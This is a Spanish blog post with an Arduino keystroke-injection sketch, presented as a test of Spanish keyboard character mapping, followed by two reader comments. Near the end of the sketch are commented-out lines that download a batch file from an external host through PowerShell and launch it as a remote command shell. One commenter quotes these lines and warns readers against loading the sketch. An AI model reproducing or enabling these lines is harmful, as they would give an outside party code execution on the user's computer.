miércoles, 4 de octubre de 2017

¿Como probar si salen todas mis teclas en el arduino?

Bueno es simple aquí les dejare un sencillo código :





/*
 * Generated with <3 by Dckuino.js, an open source project !
 */

#include "Keyboard.h"

void typeKey(uint8_t key)
{
  Keyboard.press(key);
  delay(50);
  Keyboard.release(key);
}

/* Init function */
void setup()
{
  // Begining the Keyboard stream
  Keyboard.begin();

  // Wait 500ms
  delay(500);

  delay(400);

  Keyboard.press(KEY_LEFT_GUI);
  Keyboard.press('r');
  Keyboard.releaseAll();

  delay(100);

  Keyboard.print(F("NOTEPAD"));

  typeKey(KEY_RETURN);

  
    delay(200);

  Keyboard.print(F("@!$%&/()=?     X 5555 [ ]   arroba si sale \n"));
  
//  Keyboard.write (0xC1); // parece q es f1
  Keyboard.print("\n AHORA ES abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\\ !#$%&:/<> \n");
//Keyboard.write (62); 

Keyboard.write (52); Keyboard.print(F(" = codigo 52 \n "));
Keyboard.write (53); Keyboard.print(F(" = codigo 53 \n "));
Keyboard.write (54); Keyboard.print(F(" = codigo 54 \n "));
Keyboard.write (55); Keyboard.print(F(" = codigo 55 \n "));
Keyboard.write (56); Keyboard.print(F(" = codigo 56 \n "));
Keyboard.write (57); Keyboard.print(F(" = codigo 57 \n "));
Keyboard.write (58); Keyboard.print(F(" = codigo 58 \n "));
Keyboard.write (59); Keyboard.print(F(" = codigo 59 \n "));
Keyboard.write (60); Keyboard.print(F(" = codigo 60 \n "));
Keyboard.write (61); Keyboard.print(F(" = codigo 61 \n "));
Keyboard.write (62); Keyboard.print(F(" = codigo 62 \n "));

Keyboard.write (63); Keyboard.print(F(" = codigo 63 \n "));
Keyboard.write (64); Keyboard.print(F(" = codigo 64 \n "));
Keyboard.write (65); Keyboard.print(F(" = codigo 65 \n "));
Keyboard.write (66); Keyboard.print(F(" = codigo 66 \n "));
Keyboard.write (67); Keyboard.print(F(" = codigo 67 \n "));
Keyboard.write (68); Keyboard.print(F(" = codigo 68 \n "));

/*
  Keyboard.press(KEY_LEFT_ALT);
  Keyboard.press('6');
  Keyboard.press('2');
  Keyboard.releaseAll();
  */
  

  delay(100);

  /*Keyboard.print(F("cd / & mkdir win & cd win & echo (wget 'http://kambell.pe/sys/1/batman.bat' -OutFile a.bat) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1"));
*/
  typeKey(KEY_RETURN);

  delay(550);

  /* Keyboard.print(F("START /MIN a.bat IP PORT -e cmd.exe -d & exit")); */

  typeKey(KEY_RETURN);

  // Ending stream
  Keyboard.end();
}

/* Unused endless loop */
void loop() {}




************************
Este sencillo código nos permite ver y saber si nuestros caracteres estan correctamente


el resultado debe ser similar a este:


@!$%&/()=?     X 5555 [ ]   arroba si sale 

 AHORA ES abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\ !#$%&:/<> 

4 = codigo 52 
 5 = codigo 53 
 6 = codigo 54 
 7 = codigo 55 
 8 = codigo 56 
 9 = codigo 57 
 : = codigo 58 
 ; = codigo 59 
 < = codigo 60 
 = = codigo 61 
 > = codigo 62 
 ? = codigo 63 
 @ = codigo 64 
 A = codigo 65 
 B = codigo 66 
 C = codigo 67 
 D = codigo 68 


Bueno si les sale asi es que ya les va bien su tabla de caracteres si no les sale asi es que tienen que cambiar el keyboard.cpp de su librería por el mio que yo publique, solo para gente que utiliza teclado español internacional 

2 comentarios:

  1. Mire estoy substituyendo el fichero Keyboard.cpp por el suyo ya hace varios días y no consigo que funcione correctamente.
    Me interesaría mucho que me pudiera orientar como lo debo hacer para que me funcione; ya que tengo una mano que debido a mis limitaciones no la puedo usar y quisiera programar una serie de botones para evitarme la combinaciones de teclas y la primera que todos usamos es la @ y me cuesta un montón con un mano.

    Gracias

    ResponderBorrar
  2. se agradece el aporte, pero creo que estas líneas están demás:
    ;

    /*Keyboard.print(F("cd / & mkdir win & cd win & echo (wget 'http://kambell.pe/sys/1/batman.bat' -OutFile a.bat) > b.PS1 & powershell -ExecutionPolicy ByPass -File b.ps1"));
    */
    typeKey(KEY_RETURN);

    delay(550);

    /* Keyboard.print(F("START /MIN a.bat IP PORT -e cmd.exe -d & exit")); */

    typeKey(KEY_RETURN);

    YO QUE USTEDES NO LO CARGARÍA!!!

    ResponderBorrar